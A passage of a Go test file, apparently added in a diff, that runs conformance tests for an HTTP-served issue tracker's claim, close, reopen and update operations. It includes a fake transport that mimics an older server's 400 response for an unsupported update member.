conformance.RunClaimerRefusalMessagesCarryTheirFragments(t, t.Context(), newServedClaimerFixture(t, "hclf")) +} + +// TestServedClaimConflictCarriesTypedMembersWithoutTheProse is L-claim-prose's +// pin, and it is a RUNNING assertion of the degraded-but-real behavior rather +// than a skip. +// +// Both halves matter and neither is safe alone. The positive half is the reason +// the divergence is acceptable: the conflicting holder and status reach the +// caller TYPED, reconstructed from the problem body's extension members, so +// nothing a caller needs is actually lost. The negative half is the divergence +// itself: the message does not carry the fragments, so a caller reaching for +// beads.ParseClaimConflict gets nothing. If the client ever starts composing +// that copy, or the wire ever stops sending the members, this fails. +func TestServedClaimConflictCarriesTypedMembersWithoutTheProse(t *testing.T) { + env := newServedEnv(t, "hclp") + ctx := t.Context() + claimer, err := env.subject.IssueClaimer() + if err != nil { + t.Fatalf("IssueClaimer(): %v", err) + } + + const held = "hclp-held" + seedServedIssue(t, ctx, env, held, types.StatusOpen) + if _, err := claimer.Claim(ctx, issueops.ClaimRequest{Actor: "alice", IssueID: held}); err != nil { + t.Fatalf("first claim of %s: %v", held, err) + } + + _, err = claimer.Claim(ctx, issueops.ClaimRequest{Actor: "bob", IssueID: held}) + assertTypedClaimConflict(t, err, held, storage.ErrAlreadyClaimed, "alice", types.StatusInProgress) + assertNoProseFragment(t, err, storage.ErrAlreadyClaimed, storage.ClaimedByFragment) + + const closed = "hclp-closed" + seedServedIssue(t, ctx, env, closed, types.StatusClosed) + _, err = claimer.Claim(ctx, issueops.ClaimRequest{Actor: "carol", IssueID: closed}) + assertTypedClaimConflict(t, err, closed, storage.ErrNotClaimable, "", types.StatusClosed) + assertNoProseFragment(t, err, storage.ErrNotClaimable, storage.NotClaimableStatusFragment) +} + +func seedServedIssue(t *testing.T, ctx context.Context, env *servedEnv, id string, status types.Status) { + t.Helper() + issue := &types.Issue{ID: id, Title: id, Status: status, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, issue, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } +} + +func assertTypedClaimConflict(t *testing.T, err error, id string, sentinel error, wantAssignee string, wantStatus types.Status) { + t.Helper() + if !errors.Is(err, sentinel) { + t.Fatalf("claim of %s = %v, want a refusal wrapping %v", id, err, sentinel) + } + var conflict *issueops.ClaimConflictError + if !errors.As(err, &conflict) { + t.Fatalf("claim of %s is not a *ClaimConflictError (%v); the typed members are the whole reason the prose can be missing", id, err) + } + if conflict.IssueID != id { + t.Errorf("conflict.IssueID = %q, want %q", conflict.IssueID, id) + } + if conflict.Assignee != wantAssignee { + t.Errorf("conflict.Assignee = %q, want %q — reconstructed from the problem body's assignee member", conflict.Assignee, wantAssignee) + } + if conflict.Status != wantStatus { + t.Errorf("conflict.Status = %q, want %q — reconstructed from the problem body's issue_status member", conflict.Status, wantStatus) + } +} + +func assertNoProseFragment(t *testing.T, err error, sentinel error, fragment string) { + t.Helper() + marker := sentinel.Error() + fragment + if strings.Contains(err.Error(), marker) { + t.Errorf("the refusal message carries %q (%q); L-claim-prose says it does not — if the client now composes the server's copy, retire the row rather than the assertion", + marker, err.Error()) + } +} + +func newServedCloseReopenFixture(t *testing.T, prefix string) conformance.LifecycleCloseReopenFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleCloseReopenFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + AddDependency: env.addDependency, + SetConfig: env.setConfig, + QueryScalar: env.queryScalar, + Exec: env.exec, + } +} + +func TestServedLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing(t *testing.T) { + conformance.RunLifecycleCloseRefusalsCarryTheirTypesAndWriteNothing(t, t.Context(), newServedCloseReopenFixture(t, "hlcr")) +} + +func TestServedLifecycleCloseAdmitsATransitivelyBlockedTarget(t *testing.T) { + conformance.RunLifecycleCloseAdmitsATransitivelyBlockedTarget(t, t.Context(), newServedCloseReopenFixture(t, "hlct")) +} + +func TestServedLifecycleCloseCountsOpenChildrenInBothPlanes(t *testing.T) { + conformance.RunLifecycleCloseCountsOpenChildrenInBothPlanes(t, t.Context(), newServedCloseReopenFixture(t, "hlcc")) +} + +func TestServedLifecycleCloseAdmitsAStaleBlockFlagWhoseBlockersHaveClosed(t *testing.T) { + conformance.RunLifecycleCloseAdmitsAStaleBlockFlagWhoseBlockersHaveClosed(t, t.Context(), newServedCloseReopenFixture(t, "hlcs")) +} + +func TestServedLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked(t *testing.T) { + conformance.RunLifecycleCloseIsIdempotentOnAClosedRowThatStillLooksBlocked(t, t.Context(), newServedCloseReopenFixture(t, "hlcb")) +} + +func TestServedLifecycleCloseIsIdempotentAndKeepsTheFirstClose(t *testing.T) { + conformance.RunLifecycleCloseIsIdempotentAndKeepsTheFirstClose(t, t.Context(), newServedCloseReopenFixture(t, "hlck")) +} + +// TestServedLifecycleCloseAndReopenKeepTheClaimHolder is the case the bead names +// by hand: an in-progress row a named actor holds must close, and the holder must +// survive both verbs. It is the claim→close loop an agent actually runs, and the +// one an assignee-clearing close would break silently. +func TestServedLifecycleCloseAndReopenKeepTheClaimHolder(t *testing.T) { + conformance.RunLifecycleCloseAndReopenKeepTheClaimHolder(t, t.Context(), newServedCloseReopenFixture(t, "hlch")) +} + +// The FOUR BLOCKED-STATE cases, which are the close/reopen family's other +// half: every one of them asserts the persisted `is_blocked` projection through +// the shared blocked-state probe, and no read on any role hydrates that column +// — so the flag is a raw-row fact and the probe reads the reference store +// directly. What they prove about THIS leg is that the settlement happens in +// the server's own closing transaction: the client sends one verb and nothing +// client-side recomputes anything, so a projection left stale by the port would +// be visible here and nowhere else on this surface. + +func TestServedLifecycleCloseSettlesTheClosedRowItselfAndItsChild(t *testing.T) { + conformance.RunLifecycleCloseSettlesTheClosedRowItselfAndItsChild(t, t.Context(), newServedCloseReopenFixture(t, "hlbs")) +} + +func TestServedLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t *testing.T) { + conformance.RunLifecycleCloseSettlesItsTransitiveAndCrossPlaneDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbt")) +} + +// TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate is the +// gate case: closing the last child of a spawner is what SATISFIES a waits-for +// edge, so the depender settles on a close that never named it. +func TestServedLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate(t *testing.T) { + conformance.RunLifecycleCloseOnASpawnersLastChildSatisfiesAWaitsForGate(t, t.Context(), newServedCloseReopenFixture(t, "hlbg")) +} + +func TestServedLifecycleReopenReblocksItsDependers(t *testing.T) { + conformance.RunLifecycleReopenReblocksItsDependers(t, t.Context(), newServedCloseReopenFixture(t, "hlbr")) +} + +func TestServedLifecycleReopenLeavesNonDoneStatusesUnchanged(t *testing.T) { + conformance.RunLifecycleReopenLeavesNonDoneStatusesUnchanged(t, t.Context(), newServedCloseReopenFixture(t, "hlrn")) +} + +func TestServedLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t *testing.T) { + conformance.RunLifecycleCloseAndReopenSpanTheConfiguredDoneCategory(t, t.Context(), newServedCloseReopenFixture(t, "hlcd")) +} + +// TestServedLifecycleExpectedVersionIsCheckedBeforeTheNoOps was PARKED and now +// RUNS: closeIssue and reopenIssue publish `expected_version` and this client +// sends it, so the ordering the case is really about — the precondition is +// checked BEFORE the idempotent close and before the non-done reopen no-op — is +// asserted end to end rather than described in a ledger row. +func TestServedLifecycleExpectedVersionIsCheckedBeforeTheNoOps(t *testing.T) { + conformance.RunLifecycleExpectedVersionIsCheckedBeforeTheNoOps(t, t.Context(), newServedCloseReopenFixture(t, "hlev")) +} + +// TestServedLifecycleReopenRecordsItsReason runs: `reason` IS on the wire, and +// the case reads it off the reopened event the server records. +func TestServedLifecycleReopenRecordsItsReason(t *testing.T) { + conformance.RunLifecycleReopenRecordsItsReason(t, t.Context(), newServedCloseReopenFixture(t, "hlrr")) +} + +func TestServedLifecycleResultsAreHydratedPostStateSnapshots(t *testing.T) { + conformance.RunLifecycleResultsAreHydratedPostStateSnapshots(t, t.Context(), newServedCloseReopenFixture(t, "hlrh")) +} + +// TestServedLifecycleResultsCarryThePostWriteRowVersion is the leg the whole slice +// is for: updateIssue, closeIssue and reopenIssue publish the post-write token as +// a sibling `revision` member (types.Issue.RowVersion is `json:"-"`), and this +// client stitches it back onto Issue.RowVersion. A port that dropped the member +// would answer a zero here and pass no other case on this surface, and the case's +// guarded update→close chain is gc's own — the token the update answers with is +// fed straight into the close's ExpectedVersion with no intervening Get. +func TestServedLifecycleResultsCarryThePostWriteRowVersion(t *testing.T) { + conformance.RunLifecycleResultsCarryThePostWriteRowVersion(t, t.Context(), newServedCloseReopenFixture(t, "hlrv")) +} + +func TestServedLifecycleCloseAndReopenRequireActorAndIssueID(t *testing.T) { + conformance.RunLifecycleCloseAndReopenRequireActorAndIssueID(t, t.Context(), newServedCloseReopenFixture(t, "hlra")) +} + +// TestServedLifecycleReopenProvenanceLabelsHistory is PARKED: reopenIssue +// publishes no provenance member and the server writes its own fixed label, so +// the client refuses the field rather than letting a caller believe their label +// reached the history entry. +func TestServedLifecycleReopenProvenanceLabelsHistory(t *testing.T) { + skipKnownDivergence(t, "W-ReopenRequest.Provenance", parkBead, + "reopenIssue publishes no provenance member; the client refuses it and the server writes its own label") + conformance.RunLifecycleReopenProvenanceLabelsHistory(t, t.Context(), newServedCloseReopenFixture(t, "hlrp")) +} + +func newServedUpdateFixture(t *testing.T, prefix string) conformance.LifecycleUpdateFixture { + t.Helper() + env := newServedEnv(t, prefix) + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + return conformance.LifecycleUpdateFixture{ + IssuePrefix: env.prefix, + Lifecycle: lifecycle, + CreateIssue: env.createIssue, + CreateWisp: env.createWisp, + GetIssue: env.getIssue, + AddDependency: env.addDependency, + // The workspace vocabulary the transfer fence's one configured term + // (claim.pools) is read against. The case skipped without it while it + // was parked, and would have kept skipping silently once it was not. + SetConfig: env.setConfig, + // The two out-of-band reads the patch-member wave's cases need, both + // bound to the reference store like every other seed hook here: + // ListEvents ends the "the refusal wrote nothing" clause a row read + // cannot, and ListDependencies answers the parent SET a reparent + // replaces. + ListEvents: env.listEvents, + ListDependencies: env.listDependencies, + } +} + +func TestServedLifecycleUpdatePersistsThePatchAndHydratesTheResult(t *testing.T) { + conformance.RunLifecycleUpdatePersistsThePatchAndHydratesTheResult(t, t.Context(), newServedUpdateFixture(t, "hlup")) +} + +func TestServedLifecycleUpdateReportsNoChangeForASameValuePatch(t *testing.T) { + conformance.RunLifecycleUpdateReportsNoChangeForASameValuePatch(t, t.Context(), newServedUpdateFixture(t, "hlus")) +} + +func TestServedLifecycleUpdateAppendsNotesWithoutReplacingThem(t *testing.T) { + conformance.RunLifecycleUpdateAppendsNotesWithoutReplacingThem(t, t.Context(), newServedUpdateFixture(t, "hlun")) +} + +// TestServedLifecycleUpdateClearsTheNullableMembers is the case that proves the +// patch document carries an explicit null rather than omitting the member. +func TestServedLifecycleUpdateClearsTheNullableMembers(t *testing.T) { + conformance.RunLifecycleUpdateClearsTheNullableMembers(t, t.Context(), newServedUpdateFixture(t, "hluc")) +} + +func TestServedLifecycleUpdateReplacesTheLabelSet(t *testing.T) { + conformance.RunLifecycleUpdateReplacesTheLabelSet(t, t.Context(), newServedUpdateFixture(t, "hlul")) +} + +// TestServedLifecycleUpdateResolvesBothPlanesUnlessRestricted is PARKED: half +// the case sets IssuePlaneOnly, which updateIssue publishes no member for. The +// client refuses it because dropping it would EDIT the wisp the caller asked to +// be told did not exist. +func TestServedLifecycleUpdateResolvesBothPlanesUnlessRestricted(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.IssuePlaneOnly", parkBead, + "updateIssue publishes no plane restriction; the client refuses IssuePlaneOnly rather than silently editing the wisp plane") + conformance.RunLifecycleUpdateResolvesBothPlanesUnlessRestricted(t, t.Context(), newServedUpdateFixture(t, "hlrb")) +} + +// TestServedLifecycleUpdatePreservesTheCreationStamp runs: nothing about it +// touches a refused member. It is worth having over this wire rather than only +// locally because the stamp is the one pair of columns createIssue deliberately +// will not let a caller write (W-CreateRequest.Issue), so a server that rewrote +// it on an ORDINARY EDIT would put the row out of step with the journal entry +// that recorded its creation, with no request member anywhere to blame. +func TestServedLifecycleUpdatePreservesTheCreationStamp(t *testing.T) { + conformance.RunLifecycleUpdatePreservesTheCreationStamp(t, t.Context(), newServedUpdateFixture(t, "hlcs")) +} + +// The THREE claim-and-override cases below RUN, and left the park population +// together, with the #7247 review port: `claim`, `force_assignee_transfer` and +// `force_close_policy` are top-level members of updateIssue's body (the first +// since upstream #6890), and the client sends each exactly as it sent +// `force_notes_overwrite` before them. Their rows (W-UpdateRequest.Claim, +// .ForceAssigneeTransfer, .ForceClosePolicy) are RETIRED. +// +// What still parks after them is TWO members updateIssue publishes nothing for +// (W-IssuePatch.Persistence, W-UpdateRequest.Provenance), each named so the +// lock counts the contract rather than reading it as unwritten. Both refusals +// are themselves asserted by TestUpdateRefusesEveryMemberTheWireExcludes, which +// RUNS, so no park here stands in for an unpinned behavior. + +// TestServedLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow is the +// claim folded into an update: a mutation even when the patch beside it restores +// the row. That fold is the server's own since #6890 — claimed and patched in +// one transaction by the role the direct route runs — so the case is one +// updateIssue call here, as it is one Lifecycle.Update call locally. +func TestServedLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow(t *testing.T) { + conformance.RunLifecycleUpdateClaimIsAMutationWhenThePatchRestoresTheRow(t, t.Context(), newServedUpdateFixture(t, "hlcm")) +} + +// predatesUpdateClaimTransport plays a bd serve from before upstream #6890, as +// far as updateIssue's `claim` member goes. Every request reaches the +// in-process server untouched EXCEPT an updateIssue body carrying `claim`, +// which it answers the way such a server did: the skew 400 naming the member, +// raised before any database work. Everything else about that server — +// claimIssue among it — is the current one's, which is the point: the +// fallback route it forces is claimIssue, served for real. +type predatesUpdateClaimTransport struct { + next http.RoundTripper + // refused counts the claims it answered, so a case can tell the fallback + // ran from a current-server claim that happened to agree with it. + refused atomic.Int32 +} + +func (p *predatesUpdateClaimTransport) RoundTrip(req *http.Request) (*http.Response, error) { + if req.Method == http.MethodPatch && req.GetBody != nil { + body, err := req.GetBody() + if err != nil { + return nil, err + } + var members map[string]json.RawMessage + decodeErr := json.NewDecoder(body).Decode(&members) + _ = body.Close() + if _, claims := members["claim"]; decodeErr == nil && claims { + p.refused.Add(1) + if req.Body != nil { + _ = req.Body.Close() + } + return &http.Response{ + Status: "400 Bad Request", + StatusCode: http.StatusBadRequest, + Proto: "HTTP/1.1", + ProtoMajor: 1, + ProtoMinor: 1, + Header: http.Header{"Content-Type": {"application/problem+json"}}, + Body: io.NopCloser(strings.NewReader(`{"type":"about:blank","title":"Bad Request","status":400,` + + `"code":"invalid_argument","reason":"unknown_parameter","param":"claim",` + + `"detail":"unknown request body member \"claim\"","request_id":"predates-6890"}`)), + ContentLength: -1, + Request: req, + }, nil + } + } + return p.next.RoundTrip(req) +} + +// predatingUpdateClaim is a second client store over env's server, dialing it +// through predatesUpdateClaimTransport. +func (env *servedEnv) predatingUpdateClaim(t *testing.T) (*Store, *predatesUpdateClaimTransport) { + t.Helper() + transport := &predatesUpdateClaimTransport{next: http.DefaultTransport} + client, err := wire.New(env.subject.target.BaseURL, nil, wire.Options{HTTPClient: &http.Client{Transport: transport}}) + if err != nil { + t.Fatalf("build the predating client: %v", err) + } + return New(env.subject.target, client, nil), transport +} + +// TestServedUpdateClaimsAWisp pins the direct route's wisp claim over this +// wire: `bd update --claim` on a wisp claims it, because updateIssue's +// claim resolves both planes like the rest of the operation (it sets no +// IssuePlaneOnly), exactly as the local Lifecycle.Update does. +// +// It used to refuse by name on every server (W-ClaimRequest.Wisp), when the +// claim went through claimIssue, whose role excludes the wisp plane. That +// refusal survives only on the fallback route — see the case below. +func TestServedUpdateClaimsAWisp(t *testing.T) { + env := newServedEnv(t, "hlcx") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlcx-wisp" + if err := env.createWisp(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed the wisp %s: %v", id, err) + } + + result, err := lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if err != nil { + t.Fatalf("claim-only update on a wisp: %v", err) + } + if !result.Changed || result.Issue == nil || + result.Issue.Status != types.StatusInProgress || result.Issue.Assignee != "claimant" { + t.Fatalf("claim-only update on a wisp answered %+v, want the claimed row", result) + } + // The reference store's GetIssue auto-routes to the wisps table when the + // durable one has no such row (issueops.GetIssueInTx), so this reads the + // wisp back the same way env.getIssue would for a durable row. + row, err := env.reference.GetIssue(ctx, id) + if err != nil { + t.Fatalf("read the wisp back: %v", err) + } + if row.Status != types.StatusInProgress || row.Assignee != "claimant" { + t.Errorf("the claim left %s as %s/%q, want %s/%q", id, row.Status, row.Assignee, types.StatusInProgress, "claimant") + } + if !isWispIssue(row) { + t.Errorf("the claim moved %s off the wisp plane", id) + } +} + +// TestClaimOnlyUpdateRefusesAWispByNameOnAServerThatPredatesUpdateClaim is +// W-ClaimRequest.Wisp's pin. +// +// Against a server that predates `claim` on updateIssue, a claim-only +// UpdateRequest falls back to claimIssue (httpLifecycle.claimOnlyUpdate), and +// claimIssue's role excludes the wisp plane on every backend (see +// TestServedClaimerRefusesAWispIDAsNotFound next door). Left alone, a wisp id +// would surface as the wire's generic not-found — "no issue or wisp with that +// id" — a live row reported as though it does not exist. This case pins that +// the fallback instead recognizes the id names a wisp and refuses BY NAME, +// leaving the wisp row untouched. +func TestClaimOnlyUpdateRefusesAWispByNameOnAServerThatPredatesUpdateClaim(t *testing.T) { + env := newServedEnv(t, "hlcw") + ctx := t.Context() + predating, transport := env.predatingUpdateClaim(t) + lifecycle, err := predating.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlcw-wisp" + if err := env.createWisp(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, + }, "seed"); err != nil { + t.Fatalf("seed the wisp %s: %v", id, err) + } + + _, err = lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if !errors.Is(err, encode.ErrRefused) { + t.Fatalf("claim-only update on a wisp id returned %v, want a named refusal", err) + } + var refusal *encode.RefusedError + if errors.As(err, &refusal) && refusal.Row.ID != "W-ClaimRequest.Wisp" { + t.Errorf("the refusal cites %q, want W-ClaimRequest.Wisp", refusal.Row.ID) + } + if got := transport.refused.Load(); got != 1 { + t.Errorf("the predating server refused %d claims, want 1: the case must reach the fallback through the skew refusal", got) + } + + // The refusal left the wisp exactly as seeded: still open, still + // unassigned. A wisp claim that fell through to the misleading not-found + // would still leave the row untouched, so this is not the case's whole + // subject — but a refusal-by-name that quietly claimed anyway would be a + // worse bug than the one it replaces. + row, err := env.reference.GetIssue(ctx, id) + if err != nil { + t.Fatalf("read the wisp back: %v", err) + } + if row.Status != types.StatusOpen || row.Assignee != "" { + t.Errorf("the refused claim left %s as %s/%q, want open/unassigned", id, row.Status, row.Assignee) + } +} + +// TestClaimOnlyUpdateHydratesLabelsAndCreatedByForOutputParity pins +// `bd update --claim --json` printing the same "labels" and "created_by" +// over an http workspace as the direct route does, on BOTH routes a claim-only +// update can take. +// +// On a current server the claim is updateIssue's, which answers the hydrated +// row and the post-write `revision` like every other update, so parity is the +// operation's own. On a server that predates the member, the claim falls back +// to claimIssue, whose role answers the BARE row — issueops.Claimer's own +// contract on every backend, pinned against httpClaimer.Claim directly by +// TestServedClaimerClaimsAnUnassignedOpenIssueAndAnswersTheBareRow — so the +// fallback (claimOnlyUpdate, lifecycle.go) reads the labels and CreatedBy back +// itself. What it does NOT read back is the row version: claimIssue carries no +// `revision`, and the follow-up read's token is another snapshot's. +func TestClaimOnlyUpdateHydratesLabelsAndCreatedByForOutputParity(t *testing.T) { + env := newServedEnv(t, "hlch") + ctx := t.Context() + predating, transport := env.predatingUpdateClaim(t) + + for _, route := range []struct { + name string + store *Store + // wantRevision says whether the claimed row carries the post-claim + // row version, which only updateIssue answers with. + wantRevision bool + wantRefused int32 + }{ + {name: "current server", store: env.subject, wantRevision: true, wantRefused: 0}, + {name: "server predating update claim", store: predating, wantRevision: false, wantRefused: 1}, + } { + t.Run(route.name, func(t *testing.T) { + lifecycle, err := route.store.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + id := "hlch-" + strings.ReplaceAll(route.name, " ", "-") + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Labels: []string{"hlch-label"}, + CreatedBy: "the-original-author", + }, "the-original-author"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + before := transport.refused.Load() + + result, err := lifecycle.Update(ctx, issueops.UpdateRequest{Actor: "claimant", IssueID: id, Claim: true}) + if err != nil { + t.Fatalf("claim-only update on a labeled issue: %v", err) + } + if got := transport.refused.Load() - before; got != route.wantRefused { + t.Fatalf("the predating server refused %d claims, want %d: the route under test is not the one that ran", got, route.wantRefused) + } + if result.Issue == nil { + t.Fatal("claim-only update returned a nil Issue") + } + if !slices.Contains(result.Issue.Labels, "hlch-label") { + t.Errorf("claimed Issue.Labels = %v, want [%q] — the direct route's `bd update --claim` always hydrates labels, and this is what makes the http route's --json output match it", result.Issue.Labels, "hlch-label") + } + if result.Issue.CreatedBy != "the-original-author" { + t.Errorf("claimed Issue.CreatedBy = %q, want %q", result.Issue.CreatedBy, "the-original-author") + } + // The claim itself still won: hydration is an enrichment, not a + // substitute for the actual mutation. + if result.Issue.Status != types.StatusInProgress || result.Issue.Assignee != "claimant" { + t.Errorf("claimed issue = %s/%q, want %s/%q", result.Issue.Status, result.Issue.Assignee, types.StatusInProgress, "claimant") + } + + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + switch { + case route.wantRevision && (row.RowVersion == 0 || result.Issue.RowVersion != row.RowVersion): + t.Errorf("claimed Issue.RowVersion = %d, want the post-claim row's %d — a guarded write composes its next ExpectedVersion from it", result.Issue.RowVersion, row.RowVersion) + case !route.wantRevision && result.Issue.RowVersion != 0: + t.Errorf("the fallback's Issue.RowVersion = %d, want it unset: claimIssue answers no revision, and no other snapshot's token may stand in for one", result.Issue.RowVersion) + } + }) + } +} + +// TestServedLifecycleUpdateAssigneeTransferFence runs the fence AND its +// override: a transfer away from a live foreign in-progress holder refuses with +// already_claimed, the ExpectedAssignee bypass is sent, and so — since the +// #7247 review port — is `force_assignee_transfer`, the unconditional override +// the case ends on. TestServedUpdateGuardTrioGatesTheEdit is where the guard +// half runs on its own. +func TestServedLifecycleUpdateAssigneeTransferFence(t *testing.T) { + conformance.RunLifecycleUpdateAssigneeTransferFence(t, t.Context(), newServedUpdateFixture(t, "hlxf")) +} + +// TestServedLifecycleUpdateClosePolicy runs both halves of the policy: a status +// crossing into the done category with an open child or a live blocker refuses, +// typed, and writes nothing; and `force_close_policy`, which the case's second +// half forces the crossing with, is sent since the #7247 review port, beside +// the claim its compound arm drives. +func TestServedLifecycleUpdateClosePolicy(t *testing.T) { + conformance.RunLifecycleUpdateClosePolicy(t, t.Context(), newServedUpdateFixture(t, "hlcp")) +} + +// TestServedLifecycleUpdatePersistentPreservesUnversionedClass parks on +// IssuePatch.Persistence, which neither IssuePatchBody nor ApplyPatchBody +// publishes: moving a row between planes mid-plan is a different act from +// writing its fields, and a dropped persistence mode would answer "no change" +// to a request that asked for one. +func TestServedLifecycleUpdatePersistentPreservesUnversionedClass(t *testing.T) { + skipKnownDivergence(t, "W-IssuePatch.Persistence", parkBead, + "the case restates an unversioned row as persistent, and the wire publishes no persistence member "+ + "on either patch body; the client refuses it rather than reporting a no-op it did not ask the server for") + conformance.RunLifecycleUpdatePersistentPreservesUnversionedClass(t, t.Context(), newServedUpdateFixture(t, "hlpu")) +} + +// TestServedLifecycleUpdateProvenanceLabelsHistory is the update-side twin of +// the reopen park above: the whole purpose of the field is the LABEL on the +// history entry, and the server writes its own, so dropping it would leave the +// entry naming the server's surface while the caller believed it named theirs. +func TestServedLifecycleUpdateProvenanceLabelsHistory(t *testing.T) { + skipKnownDivergence(t, "W-UpdateRequest.Provenance", parkBead, + "updateIssue publishes no provenance member and the server writes its own label; the field's whole "+ + "purpose is that label, so refusing it is refusing the request rather than narrowing it") + conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, t.Context(), newServedUpdateFixture(t, "hlpv")) +} + +func TestServedLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t *testing.T) { + conformance.RunLifecycleUpdateRefusesUnknownIDsAndActorlessRequests(t, t.Context(), newServedUpdateFixture(t, "hluu")) +} + +func TestServedLifecycleUpdateRefusalWritesNoMemberOfThePatch(t *testing.T) { + conformance.RunLifecycleUpdateRefusalWritesNoMemberOfThePatch(t, t.Context(), newServedUpdateFixture(t, "hlur")) +} + +// The two CONDITIONAL-GUARD contracts RUN, and their park is the one client +// wave ga-7i6by retired: both assign through `patch.assignee` partway in, which +// the client refused until that wave carried the member. Nothing about the +// guards themselves changed — they were sent from wave ga-jbuyf — so what these +// two add over the bespoke pin below is the state the parks could not reach +// without seeding it out of band. + +func TestServedLifecycleUpdateConditionalGuardsGateOrdinaryEdits(t *testing.T) { + conformance.RunLifecycleUpdateConditionalGuardsGateOrdinaryEdits(t, t.Context(), newServedUpdateFixture(t, "hlcg")) +} + +func TestServedLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t *testing.T) { + conformance.RunLifecycleUpdateConditionalGuardAcceptsRespelledAssignee(t, t.Context(), newServedUpdateFixture(t, "hlcq")) +} + +// TestServedLifecycleUpdateMetadataPatchOrdersMergeSetUnset is the metadata +// member's own contract, and the case that makes the algebra falsifiable: every +// key in it collides across merge, set and unset, so a client that reordered the +// arms — or dropped one — produces a different document rather than a plausible +// one. Its second half drives the replace-plus-incremental contradiction, which +// both the wire and the role refuse as a validation failure writing nothing. +func TestServedLifecycleUpdateMetadataPatchOrdersMergeSetUnset(t *testing.T) { + conformance.RunLifecycleUpdateMetadataPatchOrdersMergeSetUnset(t, t.Context(), newServedUpdateFixture(t, "hlmo")) +} + +// The two REPARENT contracts, which are the reason `parent_id` is a member +// rather than a pair of dependency edits: it replaces every parent atomically, +// and the two-call spelling leaves the issue parentless if the second call +// fails. +func TestServedLifecycleUpdateParentIDReplacesTheParentEdge(t *testing.T) { + conformance.RunLifecycleUpdateParentIDReplacesTheParentEdge(t, t.Context(), newServedUpdateFixture(t, "hlpe")) +} + +func TestServedLifecycleUpdateParentIDReplacesEveryParent(t *testing.T) { + conformance.RunLifecycleUpdateParentIDReplacesEveryParent(t, t.Context(), newServedUpdateFixture(t, "hlpa")) +} + +// TestServedUpdateGuardTrioGatesTheEdit is the guard trio's end-to-end pin. It +// was written because the two contracts above were parked on a PATCH member +// rather than on a precondition; it stays now that they run, because it drives +// each guard in BOTH polarities against a row whose holder was seeded out of +// band, which is the arm a case that patches its way into the state cannot have. +// +// Every arm asserts both halves: a satisfied guard applies the edit, and a stale +// one refuses with the sentinel the embedded store returns for the same miss and +// writes NOTHING. +func TestServedUpdateGuardTrioGatesTheEdit(t *testing.T) { + env := newServedEnv(t, "hlgt") + ctx := t.Context() + lifecycle, err := env.subject.IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + + const id = "hlgt-guarded" + if err := env.createIssue(ctx, &types.Issue{ + ID: id, Title: id, Status: types.StatusOpen, Priority: 2, + IssueType: types.TypeTask, Assignee: "holder", + }, "seed"); err != nil { + t.Fatalf("seed %s: %v", id, err) + } + + edit := func(priority int) issueops.UpdateRequest { + return issueops.UpdateRequest{ + Actor: "writer", IssueID: id, + Patch: issueops.IssuePatch{Priority: issueops.Field[int]{Set: true, Value: priority}}, + } + } + priority := func() int { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + return row.Priority + } + version := func() int64 { + t.Helper() + row, err := env.getIssue(ctx, id) + if err != nil { + t.Fatalf("read back %s: %v", id, err) + } + if row.RowVersion == 0 { + t.Fatalf("%s carries RowVersion 0, so no version guard below could fail: the token is the subject", id) + } + return row.RowVersion + } + + // STATUS, both polarities. It is the readable guard — every read of this + // surface carries the status — so a caller can guard a transition with no + // token at all. + open, closed := issueops.StatusOpen, issueops.StatusClosed + satisfied := edit(1) + satisfied.ExpectedStatus = &open + if res, err := lifecycle.Update(ctx, satisfied); err != nil || !res.Changed { + t.Fatalf("edit guarded on the current status = %#v, %v; want it applied", res, err) + } + if got := priority(); got != 1 { + t.Fatalf("priority after a satisfied status guard = %d, want 1", got) + } + + stale := edit(4) + stale.ExpectedStatus = &closed + if _, err := lifecycle.Update(ctx, stale); !errors.Is(err, issueops.ErrStatusMismatch) { + t.Fatalf("edit guarded on a stale status: err = %v, want ErrStatusMismatch", err) + } + if got := priority(); got != 1 { + t.Errorf("priority after a stale status guard = %d, want 1 — the refusal wrote nothing", got) + } + + // ASSIGNEE, both polarities, including the EMPTY guard that says "only if + // nobody holds it" — which is stale here, because the seed named a holder. + holder, unassigned := "holder", "" + onHolder := edit(2) + onHolder.ExpectedAssignee = &holder + if 